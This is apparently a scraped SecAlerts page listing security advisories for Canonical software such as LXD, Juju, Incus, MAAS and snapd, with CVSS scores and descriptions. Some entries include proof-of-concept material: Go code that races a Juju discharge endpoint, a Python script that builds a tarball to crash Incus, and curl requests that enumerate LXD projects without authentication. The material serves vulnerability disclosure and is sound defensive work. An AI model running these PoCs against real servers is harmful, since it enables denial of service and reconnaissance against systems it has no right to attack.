Where
AND
-Infinity
0
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

The postgresql-operator charm runs a Prometheus postgresexporter to collect database metrics using a dedicated "monitoring" PostgreSQL user. On database connection errors, the exporter writes the monitoring user's password in cleartext to its logs. Any actor able to read those logs can recover the password, which grants read-only pgmonitor access to PostgreSQL. This is fixed in the dev track (14/edge) in revisions 1189 (arm64) and 1190 (amd64), and in the stable track (14/stable) in revisions 1216 (arm64) and 1217 (amd64).

First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

An information exposure vulnerability in Canonical MAAS prior to versions 3.4.10, 3.5.14, 3.6.5, 3.7.3, and 3.8.0 allows an unauthenticated attacker to retrieve the RPC secret in plaintext via the vendor data metadata endpoint. If a target machine was deployed with the 'register as rack' option enabled, an attacker who obtains or infers the machine's system ID can query the preseed/metadata server to leak the secret.

First published (updated )
Severity
5.8
AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:N

Improper link resolution in the recursive file pull feature of the LXD CLI client in Canonical LXD versions 4.0.2 up to 6.9 (fixed in 4.0.14, 5.0.10 and 5.21.8) on Linux allows an attacker with root access inside a virtual machine to write attacker-controlled files or directory trees to arbitrary paths on the client host, with the operator's privileges. The attacker does this by using a modified lxd-agent that returns inconsistent SFTP directory listings and Lstat results.

First published (updated )
Severity
6.3
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Missing Authorization in imageDownload in Canonical LXD before 5.0.10, 5.21.8, and 6.10 on Linux allows a project-restricted client to access private images from other projects via local fingerprint reuse during image or instance import requests.

First published (updated )
Severity
4.2
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L

Path traversal in the CLI client image export and copy functionality in Canonical LXD from 4.0.2 before 4.0.14, 5.0.10, 5.21.8, and 6.10 on all platforms allows a remote malicious or machine-in-the-middle image server to overwrite arbitrary local files and execute code on the client system via a crafted Content-Disposition header filename parameter during unified image export or copy operations into a local directory target.

First published (updated )
Severity
6.7
Path Traversal
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Path traversal in apport-unpack in Canonical Apport before 2.36.0, 2.34.2, and 2.28.4 on Linux allows an attacker to create or overwrite arbitrary files with the privileges of the executing user via an attacker controlled key names in crash report files.

First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass project-level container isolation restrictions. When a project is configured with restrictions on container privileges (such as enforcing restricted.containers.privilege=isolated), LXD fails to enforce the requirement if an instance configuration omits the security.idmap.isolated key. An attacker can exploit this flaw by creating or updating an instance without explicitly setting security.idmap.isolated, bypassing the target project's security constraints.

First published (updated )
Severity
5.6
AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

An access control bypass and information disclosure vulnerability exists in the base AppArmor security profile configuration of Canonical snapd. The abstraction rules located in /etc/apparmor.d/abstractions/nss-systemd (inherited via ) inadvertently permit strictly confined snap applications, which lack the privileged account-control interface, to interact directly with the io.systemd.Multiplexer and io.systemd.NameServiceSwitch UNIX domain sockets under /run/systemd/userdb/. On systems where the systemd-userdbd service is installed and operational, the service fails to distinguish between an unconfined root user on the host system and a restricted root user running within a snap application's sandbox (such as a daemon or configuration hook). Because systemd-userdbd returns "complete" user records—including sensitive hashed user passwords from /etc/shadow—when queried by a process running as root, a compromised or malicious strictly confined snap executing code as root can successfully query the Varlink interface to retrieve all system password hashes, bypassing intended snap sandbox restrictions. This issue is mitigated by the fact that systemd-userdbd is not installed by default on standard Ubuntu deployments.

1 / 3
Source: NVD
First published (updated )
Severity
5
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

An insecure symlink following vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools) within the pro collect-logs command framework. The utility creates or utilizes predictable temporary file paths or user-accessible log directories when gathering diagnostic information without verifying the file type or ownership. An unprivileged local attacker can exploit this behavior by creating a symbolic link (symlink) at a predictable destination path pointing to an arbitrary, root-readable file (such as /etc/shadow or private files within /root). When a root administrator or operator subsequently executes the pro collect-logs command, the tool follows the user-controlled symlink, reads the target file, and compresses its contents into the resulting diagnostic support archive. Because the output archive remains readable by the unprivileged user, the attacker can extract and read the sensitive root-owned files, leading to a complete information disclosure of system secrets.

1 / 2
Source: NVD
First published (updated )
Severity
5.5
EPSS
0.15%
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

An information disclosure vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client validates Ubuntu Pro APT credentials by executing /usr/lib/apt/apt-helper using the download-file command. During this process, the secret bearer token is embedded directly in the cleartext URL component passed via the command-line arguments (argv), resulting in a URL format such as https://bearer:<token>@esm.ubuntu.com/.../. On systems utilizing a default-mounted /proc file system where process-hiding mitigations (such as hidepid) are disabled, an unprivileged local attacker can monitor system processes and read the sensitive bearer token directly from /proc/cmdline while the helper process is actively running. This leaked token can subsequently be used to gain unauthorized access to the victim's Ubuntu Pro or Expanded Security Maintenance (ESM) repositories.

1 / 3
Source: NVD
First published (updated )
Severity
5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

In Canonical LXD versions 4.12 through 6.9, a Server-Side Request Forgery (SSRF) vulnerability in the image import functionality allows authenticated users with the cancreateimages entitlement to interact with internal network infrastructure via the /images endpoint. When importing an image from a URL source, the LXD daemon fails to validate or restrict outbound destination IP addresses, allowing connections to loopback, RFC1918 private ranges, and cloud metadata endpoints. This enables error-based port scanning and unauthorized interaction with internal HTTP services from the daemon's network position.

First published (updated )
Severity
6.5
EPSS
0.55%
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with cancreatestoragevolumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expiresat snapshot field.

First published (updated )
Severity
5.1
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Canonical MicroCeph versions from the squid and tentacle track are vulnerable to a path traversal issue in the remote-import API. Holders of a trusted cluster mTLS certificate (such as enrolled cluster members) or join token can manipulate files in an imported remote cluster within the /var/snap/microceph confinement. This would allow daemon disruption and pollution of the cluster state.

First published (updated )
Severity
5.5
Null Pointer Dereference
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
6.1
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
6.9
Buffer Overflow
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

PDFunite 0.41.0 contains a buffer overflow vulnerability that allows local attackers to crash the application by processing malformed PDF files during merge operations. Attackers can trigger a segmentation fault in the XRef::getEntry function within libpoppler by providing a specially crafted PDF file to the pdfunite utility.

First published (updated )
Severity
5.7
EPSS
0.02%
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

An improper access control vulnerability in the canonical-livepatch snap client prior to version 10.15.0 allows a local unprivileged user to obtain a sensitive, root-level authentication token by sending an unauthenticated request to the livepatchd.sock Unix domain socket. This vulnerability is exploitable on systems where an administrator has already enabled the Livepatch client with a valid Ubuntu Pro subscription. This token allows an attacker to access Livepatch services using the victim's credentials, as well as potentially cause issues to the Livepatch server.

First published (updated )
Severity
6
EPSS
0.01%
Race Condition
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The localLoginHandlers struct in the Juju API server maintains an in-memory map to store discharge tokens following successful local authentication. This map is accessed concurrently from multiple HTTP handler goroutines without any synchronization primitive protecting it. The absence of a mutex or equivalent mechanism means that concurrent reads, writes, and deletes on the map can trigger Go runtime panics and may allow a discharge token to be consumed more than once before deletion completes.

Details

When a user authenticates through the local login flow, a discharge token is generated and stored in a plain map[string]string field named userTokens. The form handler writes to this map when authentication succeeds, and the third-party caveat checker reads from and deletes from the same map when a discharge request arrives. Both code paths execute inside goroutines dispatched by the HTTP server, meaning concurrent requests will access the map simultaneously.

Go's runtime detects concurrent map access and will terminate the process with a fatal error when a write races with another write or read. This makes the API server susceptible to a denial-of-service attack from any authenticated user who can trigger simultaneous discharge requests. Beyond the crash scenario, the read-then-delete sequence in the caveat checker is not atomic. Two goroutines processing the same token concurrently may both pass the existence check before either executes the deletion, allowing a single-use discharge token to be accepted more than once and effectively replaying authentication.

The struct definition that introduces the unsafe field is shown below.

go type localLoginHandlers struct { authCtxt authContext userTokens map[string]string }

The concurrent access originates from the caveat checker calling username, ok := h.userTokens[tokenString] followed by delete(h.userTokens, tokenString) with no lock held, while formHandler concurrently executes h.userTokens[token] = username in a separate goroutine.

PoC

go package main

import ( "net/http" "sync" )

func main() { token := "acquired-discharge-token" endpoint := "https://target-juju-api:17070/local-login/discharge"

var wg sync.WaitGroup for i := 0; i < 20; i++ { wg.Add(1) go func() { defer wg.Done() req, := http.NewRequest("GET", endpoint+"?token="+token, nil) http.DefaultClient.Do(req) }() } wg.Wait() }

Impact

Any authenticated user who obtains a valid discharge token can send a burst of concurrent requests to the discharge endpoint. The most reliable outcome is a Go runtime panic caused by concurrent map access, which terminates the Juju API server process and denies service to all connected clients and agents. Under favorable timing conditions the same token may be accepted by multiple goroutines before deletion, bypassing the single-use enforcement and allowing repeated authentication with a token that should have been invalidated after first use.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary It is possible that a compromised workload machine under a Juju controller can read any log file for any entity in any model at any level.

There is a debug log endpoint in the API server that allows streaming of logs off of the controller. To access this endpoint you must be authentication and either be a machine agent, controller agent, controller admin or have model read permission.

The problematic is the machine agent story. The rest of the other checks have a high enough degree of safety that an attacker can not move side ways in the controller when obtaining log files.

Details A compromised workload machine is capable of obtaining logs for both the controller and any model under the controller at any log level they wish. A bad actor can use this information as signal for further attacks or possible gain secret information leaked out in debug and trace logs. On top of this they would also be able to receive the logs from the charm itself for which we have no control over.

- here is where the authorizer is defined for the endpoint. - here is where the authorizer is checked. - here and onwards is the amount of information the attacker can gain access to.

PoC

If an attacker compromises a workload machine, they will have access to the agent.conf file containing the credentials. This can then be used to obtain debug logs for any part of the controller.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary A specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API.

This does not impact any running workload, existing containers and virtual machines will keep operating.

Details

The S3 transfer manager contains an unchecked string slicing vulnerability that allows an authenticated attacker to crash the daemon during S3 restore operations. While processing tar headers from a supplied backup archive, the code skips only the index entry and strips the expected bucket prefix from all other entries without first validating the header name.

In Go, slicing a string with a starting index beyond the string length triggers a runtime panic. Because no prefix or length validation is performed before this operation, a malicious archive containing a non-index entry with a shorter-than-expected header name can trigger a slice-bounds panic and terminate the daemon. This results in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.20.0/internal/server/storage/s3/transfermanager.go

Affected Code: func (t TransferManager) UploadAllFiles(bucketName string, srcData io.ReadSeeker) error { [...] for { hdr, err := tr.Next() if err == io.EOF { break // End of archive. }

// Skip index.yaml file if hdr.Name == "backup/index.yaml" { continue }

// Skip directories because they are part of the key of an actual file fileName := hdr.Name[len("backup/bucket/"):]

, err = minioClient.PutObject(ctx, bucketName, fileName, tr, -1, minio.PutObjectOptions{}) if err != nil { return err } }

return nil }

PoC

The following PoC demonstrates that a malformed backup archive containing a non-index tar entry with a shorter-than-expected name can trigger a slice-bounds panic in the S3 restore path and terminate the incusd daemon.

Step 1: Enable the storage buckets listener

On the Incus host, enable the storage buckets listener so that the S3 transfer path can initialize correctly during import.

Command: incus config set core.storagebucketsaddress :4443

Step 2: Create the malicious archive

From a client or workstation with Python available, create a crafted backup archive that contains a valid backup/index.yaml entry followed by a second entry whose name is shorter than the expected backup/bucket/ prefix length.

Commands: cat <<EOF > pocs3slicing.py import tarfile import io import yaml

indexdata = { "name": "s3-slice-panic", "config": { "bucket": { "description": "Bypassing metadata checks", "config": {} }, "bucketkeys": [ { "name": "poc-key", "role": "admin", "description": "Bypassing key lookup", "access-key": "AAAAAAAAAAAAAAAAAAAA", "secret-key": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" } ] } }

maliciousfile = "backup/x"

with tarfile.open("s3panic.tar.gz", "w:gz") as tar: content = yaml.dump(indexdata).encode("utf-8") idxinfo = tarfile.TarInfo(name="backup/index.yaml") idxinfo.size = len(content) tar.addfile(idxinfo, io.BytesIO(content))

paniccontent = b"triggers3panic" pinfo = tarfile.TarInfo(name=maliciousfile) pinfo.size = len(paniccontent) tar.addfile(pinfo, io.BytesIO(paniccontent))

print("[+] PoC Tarball Created: s3panic.tar.gz") EOF

python3 pocs3slicing.py

Result: [+] PoC Tarball Created: s3panic.tar.gz

Step 3: Trigger the vulnerable import path

From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.

Command: incus storage bucket import local-pool s3panic.tar.gz panic-test

Result: Error: Operation not found

Step 4: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a slice-bounds panic in TransferManager.UploadAllFiles.

Command: journalctl -u incus -n 50 | grep -A 15 "panic"

Result: panic: runtime error: slice bounds out of range [14:8] goroutine [running]: github.com/lxc/incus/v6/internal/server/storage/s3.TransferManager.UploadAllFiles(...) /home/stgraber/Code/lxc/incus/internal/server/storage/s3/transfermanager.go:139

It is recommended to validate that the header name begins with the expected bucket prefix and is at least as long as that prefix before slicing the string. If the entry does not match the expected archive format, the function should return a normal validation error and abort processing safely rather than allowing a runtime panic.

Credit This issue was discovered and reported by the team at 7asecurity

1 / 2
Source: GitHub
First published (updated )
Severity
6.6
EPSS
0.03%
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

Predictable secret ID and lack of secret origin API enable confused deputy attacks on Juju workloads.

Details

A Juju application can create a secret and grant it to another integrated application (grantee).

When they do so, the secret owner has to communicate the secret id to the grantee.

The grantee, having received the secret id can load the secret content and perform operations on behalf of the secret owner.

However, today the grantee has no way to determine which granted secret belongs to which owner.

Instead the grantee relies on: - being able to read the secret by id (secret was in fact granted, by some entity) - secret id was received over a relation (the remote end of the relation is presumed to be secret owner)

Additionally, secret IDs are XID, which are predictable, here two secrets created by two distinct apps in the same K8s model close in time: d34vsl7mp25c76301hs0 time (UTC): 2025-09-17 00:18:28 (Unix 1758068308) machine: f6c88a pid: 50072 counter: 6294648

d34vslfmp25c76301hsg time (UTC): 2025-09-17 00:18:29 (Unix 1758068309) machine: f6c88a pid: 50072 counter: 6294649

PoC

This allows for an IDOR attack where: - actors: - a Good application (the owner of the Victim), - an Evil application, and - a Provider application (the Confused Deputy) - relations: Good --- Provider, Evil --- Provider - secrets: Good and Evil create Secrets, granting them to the Provider and communicate Secret IDs with the Provider. - semantics: the Provider performs some operation on behalf of the Good/Evil using the Secret. - weakness 1: Evil can guess the Secret ID that Good granted and communicated to Provider. - weakness 2: Juju doesn't provide the Provider application the facility to verify the provenance of the Secret IDs. - exploit: Evil passes Good's secret id to Provider. - bypass: Provider performs evil operation with Good's Secret ID on behalf of Evil.

Evil could benefit by: - exfiltrating Good's Secret via reflection. - reading or mutating Good's resources accessible via Good's Secret.

Impact

This requires a complex setup.

Not all shared secrets are used like above, so an actual exploit requires a very specific relation interface, specific semantics of the data in the databag, and an administrator having a reasonable need to deploy two apps (one evil, one good) related to the same (third) provider app.

If exploited, it can be very hard to determine what went wrong after the fact.

Suggested remediation

1. Longer, random secret IDs

For example, if the secret id was extended with a 128-bit nonce, guessing a sibling secret ID would be infeasible, and an attack of this style would require another weakness (e.g. secret IDs exposed in logs)

2. Grantee secret API

Today, an app is not allowed to call secret-info-get on the granted secret. Additionally, granted secrets are not included in the secret-ids output.

Suppose that the Provider could run these hook tools: command (provider/0)> secret-ids my-own-secret-123

(provider/0)> secret-ids --grants good-secret-id-42 evil-secret-id-43

(provider/0)> secret-info-get good-secret-id-42 good-secret-id-42: revision: 1 label: "" owner: good grant-relation-id: 12 rotation: never

The Provider would then able to validate the secret ID it's about to use against: - the relation in which the secret ID has been passed (good relation 12 or evil relation 14) - the application or unit name of the secret owner (good or evil)

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.01%
Race Condition
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

A race condition in the secrets management subsystem of Juju versions 3.0.0 through 3.6.18 allows an authenticated unit agent to claim ownership of a newly initialized secret. Between generating a Juju Secret ID and creating the secret's first revision, an attacker authenticated as another unit agent can claim ownership of a known secret. This leads to the attacking unit being able to read the content of the initial secret revision.

1 / 2
Source: NVD
First published (updated )
Severity
6.9
EPSS
0.03%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Last updated 30 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
6.9
Null Pointer Dereference
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

NULL pointer dereference in TagSection.keys() in python-apt on APT-based Linux systems allows a local attacker to cause a denial of service (process crash) via a crafted deb822 file with a malformed non-UTF-8 key.

First published (updated )
Severity
4.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Path traversal in Canonical LXD LXD-UI versions before 6.5 and 5.21.4 on all platforms allows remote authenticated attackers to access or modify unintended resources via crafted resource names embedded in URL paths.

First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Impact The LXD /1.0/images endpoint is implemented as an AllowUntrusted API that requires no authentication, making it accessible to users without accounts. This API allows determining project existence through differences in HTTP status codes when accessed with the project parameter.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L63-L69

This configuration allows access without authentication:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/daemon.go#L924-L926

This API returns a 404 error when accessing existing projects and a 403 error when accessing non-existent projects, allowing confirmation of project existence through this difference.

The problematic implementation is shown below.

First, in the error handling implementation of the imagesGet function below, project existence is checked within the projectutils.ImageProject function, and the err returned by the ImageProject function is directly returned to the user.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/i mages.go#L1781-L1788

When the project doesn't exist, the error is 404 (http.StatusNotFound), which is returned to the user:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/cluster/projects.mapper.go#L237-L239

On the other hand, when the project exists but the user lacks viewing permissions, the imagesGet function returns 403 (response.Forbidden):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L1796-L1799

Reproduction Steps 1. Send the following request without authentication to a non-existent project:

curl -k "https://lxd-host:8443/1.0/images?project=XXX-project"

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":404,"error":"fetch project: Project not found","metadata":null}

2. Send a request without authentication to an existing project (if a public project exists, it will be included in the response):

curl -k "https://lxd-host:8443/1.0/images?project=exist-project"

Reponse:

{"type":"error","status":"","statuscode":0,"operation":"","errorcode":403,"error":"Untrusted callers may only access public images in the default project","metadata":null}

Risk The attack requires only network access to the LXD API endpoint, with no authentication needed.

The attack allows confirming the existence of projects within the LXD system by exploiting differences in HTTP status codes. This could potentially increase the exploitability of othervulnerabilities.

Additionally, since project IDs often use meaningful names set by users, this could lead to leakage of unpublished product information. However, resource information within projects cannot be obtained, limiting the impact to existence confirmation only.

Countermeasures It is recommended to modify the error handling in the imagesGet function to return consistent responses regardless of project existence. Specifically, when an error occurs during project existence verification, the implementation should be changed to always return a 403 (Untrusted callers may only access public images in the default project) error to unauthenticated users.

This ensures that the same error response is returned for both existing and non-existing projects, preventing determination of project existence.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact In LXD's images export API (/1.0/images/{fingerprint}/export), implementation differences in error handling allow determining project existence without authentication.

Specifically, in the following code, errors when multiple images match are directly returned to users as API responses:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L239-L246

While fingerprints generally don't duplicate, this functionality uses fingerprints with LIKE clauses, allowing prefix specification. Therefore, using LIKE wildcards such as % will match multiple images if multiple images exist in the project.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L277-L286

In the above implementation, multiple matches result in a 500 error, but if the project itself doesn't exist, there are 0 matches and a 404 is returned.

1. When project exists and multiple images match: HTTP 500 error "More than one image matches" 2. When project doesn't exist: HTTP 404 error "not found" This behavioural difference allows attackers to confirm project existence without authentication.

Reproduction Steps 1. Send a request with a pattern matching multiple entries to an existing project (default):

curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=default&secret=x'

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":500,"error":"More than one image matches","metadata":null}

2. Send a same request to a non-existent project (not-exist):

curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=not-exist&secret=x'

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":404,"error":"not found","metadata":null}

This difference allows enumerating existing projects in the system by brute-forcing(dictionary attack) project names.

Note that %25 is the URL encoding of %, which works as a wildcard matching all characters in SQL LIKE clauses. This is used to intentionally create requests matching multiple images to trigger a 500 error.

Additionally, the secret parameter is added to include non-public images in the search, increasing the possibility of multiple matches.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L4211-L4230

Risk The attack requires only network access to the LXD API endpoint, with no authentication needed.

The attack allows confirming the existence of projects within the LXD system by exploiting differences in HTTP status codes. This could potentially increase the exploitability of other vulnerabilities. Additionally, since project IDs often use meaningful names set by users, this could lead to leakage of unpublished product information.

However, resource information within projects cannot be obtained, limiting the impact to existence confirmation only.

Countermeasures It is recommended to modify error handling in the images export API (/1.0/images/{fingerprint}/export) to return consistent responses regardless of project existence.

Specifically, return 404 even when errors occur during project existence verification. This ensures the same error response is returned for both existing and non-existing projects, preventing determination of project existence.

Additionally, if there are no specification(compatibility) issues, allowing only exact fingerprint matches in unauthenticated states and disabling prefix matching can prevent unexpected errors from occurring.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203